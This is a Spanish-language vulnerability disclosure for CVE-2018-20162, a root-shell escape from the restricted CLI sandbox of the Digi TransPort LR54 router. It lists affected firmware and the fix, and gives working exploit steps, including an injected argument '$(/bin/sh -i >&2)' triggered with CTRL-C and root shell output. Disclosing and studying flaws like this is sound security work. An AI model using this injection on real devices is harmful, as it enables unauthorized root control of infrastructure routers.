
Exploit de prueba de concepto para CVE-2018-20162: escape de sandbox en el router Digi TransPort LR54 LTE mediante un fallo en el manejo de SIGINT, que proporciona acceso a shell root.
layout: post title: "CVE-2018-20162: Escape del shell restringido de Digi TransPort LR54" author: sgo category: seguridad
El Digi TransPort LR54 es un router LTE de alta velocidad comúnmente utilizado por la industria, infraestructura, comercio minorista y transporte público.
Soporta la ejecución de scripts de Python en un sandbox restringido y tiene un shell personalizado accesible a través de SSH que está sujeto a las mismas restricciones. Por lo tanto, el sistema operativo subyacente es inaccesible para el administrador.
He encontrado una forma de escapar del sandbox y obtener un shell de root explotando la forma en que la CLI maneja los argumentos de línea de comandos al ejecutar scripts de Python:
Cuando un proceso interactivo de Python recibe un SIGINT (a través de CTRL-C), los argumentos del script no se escapan correctamente cuando se pasan al manejador de registro de errores de la CLI interactiva. Esto permite a un atacante ejecutar comandos arbitrarios como root.
Para explotar esta vulnerabilidad, un atacante necesita tener acceso interactivo a la CLI con privilegios 'super'. Un usuario con este nivel de acceso está habilitado por defecto en el dispositivo.
Digi Transport LR54 (y posiblemente productos relacionados como WR64 y WR54)
Versión de firmware: 4.4.0.26 10/29/2018 21:14:06 Versión de firmware: 4.3.2.24 09/06/2018 00:58:34
Y posiblemente versiones anteriores
Los usuarios deben actualizar a la versión de firmware 4.5.1.4 o superior. Los secretos almacenados en el dispositivo, como claves privadas y contraseñas, deben cambiarse como medida de precaución.
sleep.py al LR54 usando scp o sftp, que contenga:import time;time.sleep(10)
python sleep.py --XXX $(/bin/sh -i >&2)
Inmediatamente presionar CTRL-C después de que el programa comience
Entonces se te deja en un shell interactivo de root
/home/digi/user # uname -a
Linux (none) 3.10.14 #1 SMP Mon Oct 29 16:18:10 CDT 2018 mips GNU/Linux
/home/digi/user # id
uid=0(root) gid=2000(users_rw) groups=2000(users_rw),2002(users_super)
Vulnerabilidad descubierta por Stig Palmquist.
Gracias a @duniel_pls y @alexanderkjall por revisar este informe.